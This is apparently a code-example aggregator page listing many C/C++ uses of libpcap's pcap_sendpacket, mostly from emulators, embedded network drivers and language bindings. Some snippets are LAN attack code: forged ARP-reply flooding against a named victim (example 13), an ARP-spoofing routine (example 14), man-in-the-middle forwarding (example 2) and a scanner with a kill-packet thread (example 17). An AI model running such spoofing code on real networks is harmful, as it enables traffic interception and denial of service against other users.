• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ pcap_sendpacket函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中pcap_sendpacket函数的典型用法代码示例。如果您正苦于以下问题:C++ pcap_sendpacket函数的具体用法?C++ pcap_sendpacket怎么用?C++ pcap_sendpacket使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了pcap_sendpacket函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: uae_set_thread_priority

static void *uaenet_trap_threadw (void *arg)
{
	struct uaenetdata *sd = (struct uaenetdata*)arg;
	uae_set_thread_priority (1);
	sd->threadactivew = 1;
	uae_sem_post (&sd->sync_semw);
	while (sd->threadactivew == 1) {
		int32_t towrite = sd->mtu;
		uae_sem_wait (&sd->change_sem);
		if (sd->getfunc (sd->user, sd->writebuffer, &towrite)) {
			pcap_sendpacket (sd->fp, sd->writebuffer, towrite);
		}
		uae_sem_post (&sd->change_sem);
	}
	sd->threadactivew = 0;
	uae_sem_post (&sd->sync_semw);
	return 0;
}
开发者ID:Yamakuzure,项目名称:PUAE,代码行数:18,代码来源:uaenet.c


示例2: forward

void forward(const u_char *packet, size_t size, eth_addr_t to) {

	struct eth_hdr *header_ethernet;
	u_char *new_packet;
	int ret;
	size_t i;

	printf("We forward\n");
	printf("\t size of the packet = %ld\n", size);


	printf("A dump of what we received from the network : \n");
	for (i = 0 ; i < size ; i++) {
		printf("%02X ", packet[i]);
	}

	new_packet = malloc(sizeof(u_char) * size);

	if (new_packet == NULL) {
		perror("Error : cannot allocate memory for a new packet");
		exit(1);
	}

	memcpy(new_packet, packet, size);
	header_ethernet = (struct eth_hdr *)new_packet;

	memcpy(header_ethernet->eth_src.data, my_mac_addr.data, ETH_ADDR_LEN);
	memcpy(header_ethernet->eth_dst.data, to.data, ETH_ADDR_LEN);

	ret = pcap_sendpacket(handle, new_packet, size);

	if (ret < 0) {
		printf("\t ERROR : failed to forward packet\n");
		exit(1);
	}

	printf("A dump of what we sent to the network : \n");
	for (i = 0 ; i < size ; i++) {
		printf("%02X ", new_packet[i]);
	}

	printf("\n");
	free(new_packet);
}
开发者ID:fallen,项目名称:witm,代码行数:44,代码来源:forward.c


示例3: p_inject

static PyObject * p_inject (PyObject *self, PyObject *args)
{
  pcap_t * ppcap;
  Py_buffer pbuf;
  if (!PyArg_ParseTuple(args, "ls*", (long int*)&ppcap, &pbuf)) return NULL;
  if (!PyBuffer_IsContiguous(&pbuf, 'C'))
  {
    PyBuffer_Release(&pbuf);
    return PyErr_Format(PyExc_RuntimeError, "Buffer not contiguous");
  }
#ifdef WIN32
  int rv = pcap_sendpacket(ppcap, pbuf.buf, pbuf.len);
  rv = rv ? 0 : len;
#else
  int rv = pcap_inject(ppcap, pbuf.buf, pbuf.len);
#endif
  PyBuffer_Release(&pbuf);
  return Py_BuildValue("i", rv);
}
开发者ID:14gr1010,项目名称:software,代码行数:19,代码来源:pxpcap.cpp


示例4: pcap_send

void pcap_send(void)
{
#ifdef DEBUG_ALL
	{
		int i;
		fprintf(stderr, "send(%p, %d)\n", uip_buf, uip_len);
		for(i = 0; i < 32 && i < uip_len; i++)
		{
			fprintf(stderr, "%02x%s", uip_buf[i], 15 == i % 16 ? "\n" : " ");
		}
		if (0 != i % 16) fprintf(stderr, "\n");
	}
#endif
	if (0 > pcap_sendpacket(pcap_fp, uip_buf, uip_len))
	{
		perror("pcap_sendpacket");
		exit(1);
	}
}
开发者ID:BashfulBladder,项目名称:gargoyle,代码行数:19,代码来源:fon-flash.cpp


示例5: pcap_sendpacket

/** Transmit buffer over socket (non blocking).
* @param[in] port        = port context struct
* @param[in] idx      = index in tx buffer array
* @param[in] stacknumber   = 0=Primary 1=Secondary stack
* @return socket send result
*/
int ecx_portt::outframe(int idx, int stacknumber)
{
	int lp, rval;
	ec_stackT *stack;

	if (!stacknumber)
	{
		stack = &(this->stack);
	}
	else
	{
		stack = &(this->redport->stack);
	}
	lp = (*stack->txbuflength)[idx];
	rval = pcap_sendpacket(*stack->sock, reinterpret_cast<const u_char *>((*stack->txbuf)[idx].getEtherNetHeader()), lp);
	(*stack->rxbufstat)[idx] = EC_BUF_TX;

	return rval;
}
开发者ID:TABETA,项目名称:SOEM,代码行数:25,代码来源:ethercatbase.cpp


示例6: nif_pcap_sendpacket

static ERL_NIF_TERM
nif_pcap_sendpacket(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    EWPCAP_STATE *ep = NULL;
    ErlNifBinary buf = {0};


    if (!enif_get_resource(env, argv[0], EWPCAP_RESOURCE, (void **)&ep) || ep->p == NULL)
        return enif_make_badarg(env);

    if (!enif_inspect_iolist_as_binary(env, argv[1], &buf))
        return enif_make_badarg(env);

    if (pcap_sendpacket(ep->p, buf.data, buf.size) < 0)
        return enif_make_tuple2(env,
                                atom_error,
                                enif_make_string(env, pcap_geterr(ep->p), ERL_NIF_LATIN1));

    return atom_ok;
}
开发者ID:hfeeki,项目名称:ewpcap,代码行数:20,代码来源:ewpcap.c


示例7: us_rawnet_send

ssize_t us_rawnet_send(us_rawnet_context_t *self, const uint8_t dest_mac[6], const void *payload, ssize_t payload_len) {
    bool r = false;
    pcap_t *m_pcap = (pcap_t *)self->m_pcap;

    if (m_pcap) {
        uint8_t buffer[2048];
        uint8_t *data = buffer + 14;
        if( dest_mac ) {
            memcpy((void *)buffer, (void *)dest_mac, 6);
        } else {
            memcpy((void *)buffer, (void *)self->m_default_dest_mac, 6);
        }
        memcpy((void *)(buffer + 6), (void *)self->m_my_mac, 6);
        buffer[12] = US_GET_BYTE_1(self->m_ethertype);
        buffer[13] = US_GET_BYTE_0(self->m_ethertype);
        memcpy(data, payload, payload_len);
        r = pcap_sendpacket(m_pcap, buffer, (int)payload_len + 14) == 0;
    } else {
        r = false;
    }
    return r ? payload_len : -1;
}
开发者ID:andrew-elder,项目名称:microsupport,代码行数:22,代码来源:us_rawnet.c


示例8: pcap_netif_tx

rt_err_t pcap_netif_tx( rt_device_t dev, struct pbuf* p)
{
	struct pbuf *q;
	rt_uint8_t *ptr;
    rt_uint8_t buf[2048];
    rt_err_t result = RT_EOK;
    pcap_t *tap;
    int res;

    tap = NETIF_PCAP(dev);

	/* lock EMAC device */
	rt_sem_take(&sem_lock, RT_WAITING_FOREVER);

	/* copy data to tx buffer */
	q = p;
	ptr = (rt_uint8_t*)buf;
	while (q)
	{
		memcpy(ptr, q->payload, q->len);
		ptr += q->len;
		q = q->next;
	}

    rt_enter_critical();
    res = pcap_sendpacket(tap, buf, p->tot_len);
    rt_exit_critical();

    if (res != 0)
    {
        rt_kprintf("Error sending the packet: \n", pcap_geterr(tap));
        result = -RT_ERROR;
    }

	/* unlock EMAC device */
	rt_sem_release(&sem_lock);

    return result;
}
开发者ID:bright-pan,项目名称:smart-lock,代码行数:39,代码来源:pcap_netif.c


示例9: uae_set_thread_priority

static void *uaenet_trap_threadw (void *arg)
{
	struct uaenetdatawin32 *sd = (struct uaenetdatawin32*)arg;

	uae_set_thread_priority (NULL, 1);
	sd->threadactivew = 1;
	uae_sem_post (&sd->sync_semw);
	while (sd->threadactivew == 1) {
		int donotwait = 0;
		int towrite = sd->mtu;
		uae_sem_wait (&sd->change_sem);
		if (sd->getfunc ((struct s2devstruct*)sd->user, sd->writebuffer, &towrite)) {
			pcap_sendpacket (sd->fp, sd->writebuffer, towrite);
			donotwait = 1;
		}
		uae_sem_post (&sd->change_sem);
		if (!donotwait)
			WaitForSingleObject (sd->evttw, INFINITE);
	}
	sd->threadactivew = 0;
	uae_sem_post (&sd->sync_semw);
	return 0;
}
开发者ID:Vairn,项目名称:WinUAE,代码行数:23,代码来源:win32_uaenet.cpp


示例10: edrv_sendTxBuffer

//------------------------------------------------------------------------------
tOplkError edrv_sendTxBuffer(tEdrvTxBuffer* pBuffer_p)
{
    int         pcapRet;

    // Check parameter validity
    ASSERT(pBuffer_p != NULL);

    //TRACE("%s: TxB=%p (%02X), last TxB=%p\n", __func__, pBuffer_p, (UINT)pBuffer_p->pBuffer[5], edrvInstance_l.pTransmittedTxBufferLastEntry);

    if (pBuffer_p->txBufferNumber.pArg != NULL)
        return kErrorInvalidOperation;

    EnterCriticalSection(&edrvInstance_l.criticalSection);
    if (edrvInstance_l.pTransmittedTxBufferLastEntry == NULL)
    {
        edrvInstance_l.pTransmittedTxBufferLastEntry =
            edrvInstance_l.pTransmittedTxBufferFirstEntry = pBuffer_p;
    }
    else
    {
        edrvInstance_l.pTransmittedTxBufferLastEntry->txBufferNumber.pArg = pBuffer_p;
        edrvInstance_l.pTransmittedTxBufferLastEntry = pBuffer_p;
    }
    LeaveCriticalSection(&edrvInstance_l.criticalSection);

    pcapRet = pcap_sendpacket(edrvInstance_l.pPcap, pBuffer_p->pBuffer,
                              (int)pBuffer_p->txFrameSize);
    if (pcapRet != 0)
    {
        DEBUG_LVL_EDRV_TRACE("%s() pcap_sendpacket returned %d (%s)\n",
                             __func__, pcapRet, pcap_geterr(edrvInstance_l.pPcap));
        return kErrorInvalidOperation;
    }

    return kErrorOk;
}
开发者ID:Kalycito-open-automation,项目名称:openPOWERLINK_V2,代码行数:37,代码来源:edrv-pcap_win.c


示例11: RETURN_CODE

	int	PcapWrapper::sendPacket(int adapter_id, unsigned char* packet_buffer, int buffer_size) {
	#ifdef WIN32
		if (!checkForAdapterId(adapter_id)) {
			// specified adapter not found
			RETURN_CODE(RC(ADAPTER_NOT_FOUND));
		}
		pcap_t*	handle = NULL;
		if (static_cast<int>(m_adapter_handles.size()) > adapter_id) {
			handle = m_adapter_handles[adapter_id];
		}
		if (!handle) {
			fprintf(stderr, "Error: retrievePacket() called on unopened adapter.\n");
			RETURN_CODE(RC(ACCESS_ON_UNOPENED_HANDLE));
		}
		if (pcap_sendpacket(handle, packet_buffer, buffer_size ) < 0) {
			fprintf(stderr, "Error: Failed to send the given packet: \n", pcap_geterr(handle));
			RETURN_CODE(RC(UNSPECIFIED_ERROR_OCCURED));
		}
		RETURN_CODE(RC(NORMAL_EXECUTION));
	#else
		fprintf(stderr, "Error: Wrong function called. pcap_sendpacket(...) only works with WinPcap.\n");
		RETURN_CODE(RC(UNSPECIFIED_ERROR_OCCURED));
	#endif
	}
开发者ID:Ryan--Yang,项目名称:whisper-library,代码行数:24,代码来源:pcapwrapper.cpp


示例12: prvLowLevelOutput

static err_t prvLowLevelOutput( struct netif *pxNetIf, struct pbuf *p )
{

    /* This is taken from lwIP example code and therefore does not conform
    to the FreeRTOS coding standard. */

    struct pbuf *q;
    static unsigned char ucBuffer[ 1520 ];
    unsigned char *pucBuffer = ucBuffer;
    unsigned char *pucChar;
    struct eth_hdr *pxHeader;
    u16_t usTotalLength = p->tot_len - ETH_PAD_SIZE;
    err_t xReturn = ERR_OK;

    ( void ) pxNetIf;

#if defined(LWIP_DEBUG) && LWIP_NETIF_TX_SINGLE_PBUF
    LWIP_ASSERT("p->next == NULL && p->len == p->tot_len", p->next == NULL && p->len == p->tot_len);
#endif

    /* Initiate transfer. */
    if( p->len == p->tot_len ) {
        /* No pbuf chain, don't have to copy -> faster. */
        pucBuffer = &( ( unsigned char * ) p->payload )[ ETH_PAD_SIZE ];
    } else {
        /* pbuf chain, copy into contiguous ucBuffer. */
        if( p->tot_len >= sizeof( ucBuffer ) ) {
            LINK_STATS_INC( link.lenerr );
            LINK_STATS_INC( link.drop );
            snmp_inc_ifoutdiscards( pxNetIf );
            xReturn = ERR_BUF;
        } else {
            pucChar = ucBuffer;

            for( q = p; q != NULL; q = q->next ) {
                /* Send the data from the pbuf to the interface, one pbuf at a
                time. The size of the data in each pbuf is kept in the ->len
                variable. */
                /* send data from(q->payload, q->len); */
                LWIP_DEBUGF( NETIF_DEBUG, ("NETIF: send pucChar %p q->payload %p q->len %i q->next %p\n", pucChar, q->payload, ( int ) q->len, ( void* ) q->next ) );
                if( q == p ) {
                    memcpy( pucChar, &( ( char * ) q->payload )[ ETH_PAD_SIZE ], q->len - ETH_PAD_SIZE );
                    pucChar += q->len - ETH_PAD_SIZE;
                } else {
                    memcpy( pucChar, q->payload, q->len );
                    pucChar += q->len;
                }
            }
        }
    }

    if( xReturn == ERR_OK ) {
        /* signal that packet should be sent */
        if( pcap_sendpacket( pxOpenedInterfaceHandle, pucBuffer, usTotalLength ) < 0 ) {
            LINK_STATS_INC( link.memerr );
            LINK_STATS_INC( link.drop );
            snmp_inc_ifoutdiscards( pxNetIf );
            xReturn = ERR_BUF;
        } else {
            LINK_STATS_INC( link.xmit );
            snmp_add_ifoutoctets( pxNetIf, usTotalLength );
            pxHeader = ( struct eth_hdr * )p->payload;

            if( ( pxHeader->dest.addr[ 0 ] & 1 ) != 0 ) {
                /* broadcast or multicast packet*/
                snmp_inc_ifoutnucastpkts( pxNetIf );
            } else {
                /* unicast packet */
                snmp_inc_ifoutucastpkts( pxNetIf );
            }
        }
    }

    return xReturn;
}
开发者ID:peterliu2,项目名称:FreeRTOS,代码行数:75,代码来源:ethernetif.c


示例13: main


//.........这里部分代码省略.........
		)) == NULL)
	{
		fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",d->name);
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return -1;
	}

	//初始化ARP Package
	printf("1.) ARP Requset 2.)ARP Reply Attack : ");
	scanf("%d" ,&choice);
	switch(choice)
	{
	case 1:	
		//+8以去掉"rpcap://"
		mac = GetSelfMac(d->name+8);
		printf("\nMy Mac : ");
		PrintHexDecimal(mac);
		Src_IP = inet_addr("203.64.84.139");
		Dst_IP = inet_addr("203.64.84.174");
		//Dst_IP = inet_addr("203.64.84.144");
		InitARPRequestPackage(mac,Src_IP,Dst_IP);
		break;
	case 2:
		mac = GetSelfMac(d->name+8);
		Src_IP = inet_addr("203.64.84.1");
		//Dst_IP = inet_addr("203.64.84.152");
		Dst_IP = inet_addr("203.64.84.136");
		Victim_MAC = (PMAC) malloc(sizeof(MAC));
		Victim_MAC->byte[0] = 0x08;
		Victim_MAC->byte[1] = 0x60;
		Victim_MAC->byte[2] = 0x6E;
		Victim_MAC->byte[3] = 0x48;
		Victim_MAC->byte[4] = 0x18;
		Victim_MAC->byte[5] = 0x3E;
	/*	Victim_MAC->byte[0] = 0x08;
		Victim_MAC->byte[1] = 0x60;
		Victim_MAC->byte[2] = 0x6E;
		Victim_MAC->byte[3] = 0x48;
		Victim_MAC->byte[4] = 0x1D;
		Victim_MAC->byte[5] = 0x30;*/
		InitARPReplyPackage(mac,Victim_MAC,Src_IP,Dst_IP);
		free(Victim_MAC);

		arpPacketage =(UCHAR *) malloc(sizeof(arpPacket));
		memcpy(arpPacketage, &arpPacket, sizeof(arpPacket));
		/* Send down the packet */
		while (1)
		{
			if(pcap_sendpacket(fp, arpPacketage, sizeof(arpPacket)) != 0){
				printf("\nError sending the packet: \n", pcap_geterr(fp));
				break;
			}
			++count;
			printf("\nArp Reply count : %d",count);
		}
		break;
	}
	arpPacketage =(UCHAR *) malloc(sizeof(arpPacket));
	memcpy(arpPacketage, &arpPacket, sizeof(arpPacket));

	/* Send down the packet */
	if (pcap_sendpacket(fp, arpPacketage, sizeof(arpPacket) /* size */) != 0)
	{
		printf("\nError sending the packet: \n", pcap_geterr(fp));
		return;
	}

	free(arpPacketage);
	/* Retrieve the packets */
	while((res = pcap_next_ex( fp, &header, &pkt_data)) >= 0)
	{
		if(res == 0)
			// Timeout elapsed
				continue;
		/* convert the timestamp to readable format */
		seconds = header->ts.tv_sec;
		localtime_s( &tbreak , &seconds);
		strftime (timestr , 80 , "%d-%b-%Y %I:%M:%S %p" , &tbreak );
		//printf("%s,%.6d len:%d\n", timestr, header->ts.tv_usec, header->len);
		//Ethernet header
		ethhdr = (ETHHDR *)pkt_data;
		if(ntohs(ethhdr->type) == EPT_ARP){	
			ARPReply = (ETH_ARPHDR *) (pkt_data+sizeof(ETHHDR));	
			if(ARPReply->arp_spa==Dst_IP){	
				printf("My_Need_MAC: ");
				PrintHexDecimal(ARPReply->arp_sha);
			}
		}
	}

	if(res == -1){
		printf("Error reading the packets: %s\n", pcap_geterr(fp));
		return -1;
	}
	/* At this point, we don't need any more the device list. Free it */
	pcap_freealldevs(alldevs);
	/* start the capture */
	return 1;
}
开发者ID:GuojunSu,项目名称:NetWork-Security,代码行数:101,代码来源:arp.c


示例14: send_arp_attack

// ARP 스푸핑 시작
void send_arp_attack(pcap_t *adhandle)
{
	u_int i;
	// 패킷 만들기
	struct ArpHeader AH;
	struct ether_header eh;
	int packet_num = 0;
	u_char packet[42];

	for (i = 0; i < 6; i++)			// packet 1~6
	{
		eh.dst_addr[i] = table[!who].mac_address[i];
		packet[packet_num++] = eh.dst_addr[i];
		//	printf("%02x ", eh.dst_addr[i]);
	}
	printf("\n");
	for (i = 0; i < 6; i++)			// packet 6~12
	{
		eh.src_addr[i] = my.Mac[i];
		packet[packet_num++] = eh.src_addr[i];
	}
	eh.ether_type = 0x0806; //htons(0x0806) packet 13~14
							// 패킷 삽입  추후에 식을 계산해, 값 할당
	packet[packet_num++] = 0x08;	// ether_type
	packet[packet_num++] = 0x06;	// ether_type
	packet[packet_num++] = 0x00;	// Hardware type
	packet[packet_num++] = 0x01;	// Hardware type
	packet[packet_num++] = 0x08;	// protocol type
	packet[packet_num++] = 0x00;	// protocol type
	packet[packet_num++] = 0x06;	// Hardware size
	packet[packet_num++] = 0x04;	// protocol size
	packet[packet_num++] = 0x00;	// opcode
	packet[packet_num++] = 0x02;	// opcode		// 1이면 요청, 2이면 응답

	for (i = 0; i < 6; i++)				// 보내는 사람 맥 주소
	{
		AH.sender_mac[i] = table[who].mac_address[i];		// 게이트에 보낼땐 호스트의 맥 호스트는 게이트의 맥
		packet[packet_num++] = AH.sender_mac[i];			// 여기서 부터 맥 주소를 엇갈리게 보낸다.
	}
	printf("\n");
	for (i = 0; i < 4; i++)				// 보내는 사람 아이피 주소
	{
		packet[packet_num++] = AH.sender_addr[i] = my.IP[i];
	}
	for (i = 0; i < 6; i++)			// 타겟의 
	{
		packet[packet_num++] = table[!who].mac_address[i];
	}

	for (i = 0; i < 4; i++)			// 타겟의 아이피
	{
		packet[packet_num++] = table[!who].Ip[i];
	}
	i = 0;
//	printf("%d\n", who);
	while (i <10)
	{
		if (pcap_sendpacket(adhandle, packet, 42) != 0)		// 타겟 IP 공격
		{
			printf("Error sending the packet: \n");
			return;
		}
		pcap_loop(adhandle, 1, receiver_handler, NULL);		// 패킷 뽑기
		i++;
	}
	who = !who;
}
开发者ID:brorica,项目名称:brororol,代码行数:68,代码来源:[bob5][특기병]send_arp[권민재].c


示例15: main

/* main function */
int main()
{
	char *dev;
	char erbuf[PCAP_ERRBUF_SIZE];
	struct timeval tim;
	struct pcap_pkthdr hdr;
	char *point;
	char str1[50];
	int i=0,j=0,counter=0;
	char ptr[200];
	pcap_t *descr1;
	/* For setting signal handler */	
	struct sigaction myAction;       
	struct itimerval timer;
	eth=(struct ethhdr *)malloc(sizeof(struct ethhdr));
	len=sizeof(struct ethhdr);
	strcpy(str1,"\0");
	packet=(char*)malloc(1514);
	point=(char *)malloc(100);

	dev=pcap_lookupdev(erbuf);
	if(dev==NULL)
	{
		printf("\n\t\terrbuf : %s\n\n",erbuf);
		exit(1);
	}
	
	descr=pcap_open_live(dev,BUFSIZ,0,-1,erbuf);
	if(descr==NULL)
	{
		printf("\n\t\tCannot open:%s\n",erbuf);
		exit(1);
	}

	do
	{
		printf("\n\t\tWaiting for INIT packet from client : %d \n",counter+1);
		i=pcap_loop(descr,1,my_callback,NULL);// wait for INIT packet
		ether_head();
        	strcpy(str1,"\0");
		strcpy(str1,"SYN 1.");
		memcpy(packet+14,str1,sizeof(str1));

		printf("\n\t\tSending SYNC packet to client : %d\n",counter+1);
		counter++;
		/* Send sync packet containing T1 */		
		i=pcap_sendpacket(descr,packet,1514);  
		if(i==-1)
		{	
			pcap_perror(descr,ptr);
			printf("\n\t\tERROR : %s\n",ptr);
			printf("\n\t\tError in inject function!!!\n");
		}
		
		memset(&myAction,0,sizeof(struct sigaction));
		myAction.sa_handler = CatchAlarm;

		/* block everything in handler */
    		if (sigfillset(&myAction.sa_mask) < 0) 
        		printf("sigfillset() failed");
    		myAction.sa_flags = 0;

    		if (sigaction(SIGALRM, &myAction, 0) < 0)
        		printf("sigaction() failed for SIGALRM");

		alarm(TIMEOUT_SECS);
		pcap_setdirection(descr,PCAP_D_IN);

		/* Wait for packet containig loop for T3 */
		i=pcap_loop(descr,1,my_callback,NULL); 
		if(i==-1)
			printf("\n\n\t\tError in pcap_loop\n");
		else if(i==-2)
		{
			strcpy(str1,"\0");
			strcpy(str1,"ERROR ");       //new
			descr1=pcap_open_live(dev,BUFSIZ,0,-1,erbuf);		
			if(descr1==NULL)
			{
				printf("\n\t\tCannot open:%s\n",erbuf);
				exit(1);
			}
			memcpy(packet+14,str1,sizeof(str1));
			i=pcap_sendpacket(descr1,packet,1514);  /* Sending error packet */
			if(i==-1)
				pcap_perror(descr1,point);
			printf("\n\t\tT3 not received... exiting\n");
			continue;
			pcap_close(descr1);
			
				
		}
		else
		{
			alarm(0);
			printf("\n\t\tDelay request packet received in time\n");
		}

		ether_head();	
//.........这里部分代码省略.........
开发者ID:anujakench,项目名称:Final-Year-Project,代码行数:101,代码来源:master.c


示例16: pcapif_low_level_output

/** low_level_output():
 * Transmit a packet. The packet is contained in the pbuf that is passed to
 * the function. This pbuf might be chained.
 */
static err_t
pcapif_low_level_output(struct netif *netif, struct pbuf *p)
{
  struct pbuf *q;
  unsigned char buffer[1520];
  unsigned char *buf = buffer;
  unsigned char *ptr;
  struct eth_hdr *ethhdr;
  u16_t tot_len = p->tot_len - ETH_PAD_SIZE;
  struct pcapif_private *pa = (struct pcapif_private*)netif->state;

#if defined(LWIP_DEBUG) && LWIP_NETIF_TX_SINGLE_PBUF
  LWIP_ASSERT("p->next == NULL && p->len == p->tot_len", p->next == NULL && p->len == p->tot_len);
#endif

  /* initiate transfer */
  if (p->len == p->tot_len) {
    /* no pbuf chain, don't have to copy -> faster */
    buf = &((unsigned char*)p->payload)[ETH_PAD_SIZE];
  } else {
    /* pbuf chain, copy into contiguous buffer */
    if (p->tot_len >= sizeof(buffer)) {
      LINK_STATS_INC(link.lenerr);
      LINK_STATS_INC(link.drop);
      snmp_inc_ifoutdiscards(netif);
      return ERR_BUF;
    }
    ptr = buffer;
    for(q = p; q != NULL; q = q->next) {
      /* Send the data from the pbuf to the interface, one pbuf at a
         time. The size of the data in each pbuf is kept in the ->len
         variable. */
      /* send data from(q->payload, q->len); */
      LWIP_DEBUGF(NETIF_DEBUG, ("netif: send ptr %p q->payload %p q->len %i q->next %p\n", ptr, q->payload, (int)q->len, (void*)q->next));
      if (q == p) {
        memcpy(ptr, &((char*)q->payload)[ETH_PAD_SIZE], q->len - ETH_PAD_SIZE);
        ptr += q->len - ETH_PAD_SIZE;
      } else {
        memcpy(ptr, q->payload, q->len);
        ptr += q->len;
      }
    }
  }

  /* signal that packet should be sent */
  if (pcap_sendpacket(pa->adapter, buf, tot_len) < 0) {
    LINK_STATS_INC(link.memerr);
    LINK_STATS_INC(link.drop);
    snmp_inc_ifoutdiscards(netif);
    return ERR_BUF;
  }

  LINK_STATS_INC(link.xmit);
  snmp_add_ifoutoctets(netif, tot_len);
  ethhdr = (struct eth_hdr *)p->payload;
  if ((ethhdr->dest.addr[0] & 1) != 0) {
    /* broadcast or multicast packet*/
    snmp_inc_ifoutnucastpkts(netif);
  } else {
    /* unicast packet */
    snmp_inc_ifoutucastpkts(netif);
  }
  return ERR_OK;
}
开发者ID:killvxk,项目名称:lwip-allnetworks,代码行数:68,代码来源:pcapif.c


示例17: memset

void *networkScan(void *arg)
{
	bpf_u_int32 netaddr=0, mask=0;    /* To Store network address and netmask   */ 
	struct bpf_program filter;        /* Place to store the BPF filter program  */ 
	char errbuf[PCAP_ERRBUF_SIZE];    /* Error buffer                           */ 
	pcap_t *descr = NULL;             /* Network interface handler              */
	char *ethernet = DEVICENAME;
	device_info dev_info;				/*my ethernet address*/
	device_info gate_info;
	NodeStatus node_status;			//노드 정보
	network_grub_args *n_args = 0;
	sendkill_grub_args k_args;

	pthread_t t_id1 = 0;
	pthread_t t_id2 = 0;
	int state1 = 0;
	int state2 = 0;
	receiver_grub_args grub;
	int i;

	memset(&node_status, 0, sizeof(NodeStatus));

	n_args = (network_grub_args*)arg;

	memset(errbuf,0,PCAP_ERRBUF_SIZE); 
	/* Open network device for packet capture */ 
	if ((descr = pcap_open_live(ethernet, MAXBYTES2CAPTURE, 0,  512, errbuf))==NULL){
		fprintf(stderr, "1ERROR: %s\n", errbuf);
		exit(1);
	}

	/* Look up info from the capture device. */ 
	if( pcap_lookupnet(ethernet , &netaddr, &mask, errbuf) == -1){
		fprintf(stderr, "2ERROR: %s\n", errbuf);
		exit(1);
	}

	/* Compiles the filter expression into a BPF filter program */ 
	if ( pcap_compile(descr, &filter, "tcp or arp", 1, mask) == -1){
		fprintf(stderr, "3ERROR: %s\n", pcap_geterr(descr) );
		exit(1);
	}

	/* Load the filter program into the packet capture device. */ 
	if (pcap_setfilter(descr,&filter) == -1){
		fprintf(stderr, "4ERROR: %s\n", pcap_geterr(descr) );
		exit(1);
	}

	get_device_info(&dev_info);

	k_args.n_args = n_args;
	k_args.gate_info = &gate_info;
	k_args.descr = descr;

	while(1) {			/* get gateway*/
		const unsigned char *packet = NULL; //packet
		struct pcap_pkthdr *p_pkthdr = 0;

		packet = make_arp_packet(dev_info, n_args->g_ip);

		pcap_sendpacket(descr, packet, 42);
		if (pcap_next_ex(descr, &p_pkthdr, &packet) != 1) {
			continue;
		}
		if(gateway_get(packet, n_args->g_ip, k_args.gate_info))
			break;
	}

	printf("GateWay MAC: ");
	for(i=0; i<6;i++) {
		printf("%02X:", k_args.gate_info->macaddr[i]);
	}

	printf("\nGateWay IP: ");
	for(i=0; i<4;i++) {
		printf("%d.", k_args.gate_info->ipaddr[i]);
	}
	puts("");

	grub.p_descr = descr;
	grub.p_node_status = &node_status;
	memcpy( (char*)&grub+8, (unsigned char*)&dev_info+6, 4);

	state1 = pthread_create(&t_id1, NULL, receiver, &grub);
	// puts("thread start");
	if (state1 != 0) {
		fprintf(stderr, "pthread_create() error\n");
		return 0;
	}

	state2 = pthread_create(&t_id2, NULL, send_kill_packet, &k_args);
	// puts("thread start");
	if (state2 != 0) {
		fprintf(stderr, "pthread_create() error\n");
		return 0;
	}

	// puts("thread start2");
	while(1) {
//.........这里部分代码省略.........
开发者ID:LimChanBin,项目名称:scapeNet,代码行数:101,代码来源:senser_networkScan.c


示例18: send_packets


//.........这里部分代码省略.........
				else
					/* pad trailing bytes with zeros */
					pkt_data[i] = PKT_PAD;
			}
		

			(void)sigprocmask(SIG_BLOCK, &block_sig, NULL); /* hold SIGINT */

			// LC: find source ip
			//fprintf(stdout, "%d Sending %d bytes ", pcount++, pkt_len);
			
			if(pkt_len > 33){	// at least could be ip
				if( ((struct ether_header *)pkt_data)->ether_type == 8){
				
				pkt_ip = pkt_data+14;
				//fprintf(stdout, "Ether type = 8 ");
				
					//fprintf(stdout, "Ip v = %d \t", ((struct ip *)pkt_ip)->ip_v);
				
				ipsource = ((struct ip *)pkt_ip)->ip_src;
				ipsourceT = ntohl(ipsource.s_addr);
				
					 //fprintf(stdout, "Source %u %s ", ipsourceT, inet_ntoa(ipsource)); // 
					   //fprintf(stdout, " %s ", inet_ntoa(ipsource));
						
					for(it = 0; it < nentries; it++){
						
						//fprintf(stdout, "(%u %u %u) \t", (unsigned int)ipTable[(it * 3) + 0], ipsourceT, (unsigned int)ipTable[(it * 3) + 1]); // 
						
						if( ((unsigned int)ipTable[(it * 3) + 0] <= (unsigned int)ipsourceT ) && ((unsigned int)ipTable[(it * 3) + 1]) >= (unsigned int)ipsourceT ){
							//fprintf(stdout, "In range at if %s \r\n", ipTable[(it * 3) + 2]);
							//pcap_t *pd = ipTable[(it * 3) + 2];
							pd = pdl[it];
							break;
						}
					}
				}
			}
			
			// LC: checks
			if(pkt_len < ETHER_MAX_LEN && it != nentries){
			
				/* finish the injection and verbose output before we give way to SIGINT */
				if (pcap_sendpacket(pd, pkt_data, pkt_len) == -1) {
					notice("%s", pcap_geterr(pd));
					++failed;
				}
				else {
					++pkts_sent;
					bytes_sent += pkt_len;

					/* copy timestamp for previous packet sent */
					memcpy(&prev_ts, &cur_ts, sizeof(struct timeval));

					/* verbose output */
					if (vflag) {
						if (gettimeofday(&ts, NULL) == -1)
							notice("gettimeofday(): %s", strerror(errno));
						else
							ts_print(&ts);

						(void)printf("#%d (%d bytes)", pkts_sent, pkt_len);

						if (vflag > 1)
							hex_print(pkt_data, pkt_len);
						else
							putchar('\n');

						fflush(stdout);
					}
				}

				(void)sigprocmask(SIG_UNBLOCK, &block_sig, NULL); /* release SIGINT */

				if ((max_pkts > 0) && (pkts_sent >= max_pkts))
					cleanup(0);
				
			}
		}else{
			// LC: force skip
			// fprintf(stdout, "LC: Force Skip packet !\r\n");
			
			for (i = 0; i < pkt_len; i++) {
				/* copy captured packet data starting from link-layer header */
				if (i < header.caplen) {
					if ((ret = fgetc(fp)) == EOF)
						error("fgetc(): error reading %s", trace_file); 
				}
			}
		}
		
        /* move file pointer to the end of this packet data */
        if (i < header.caplen) {
            if (fseek(fp, header.caplen - pkt_len, SEEK_CUR) != 0)
                error("fseek(): error reading %s", trace_file);
        }
    } /* end while */

    (void)fclose(fp);
}
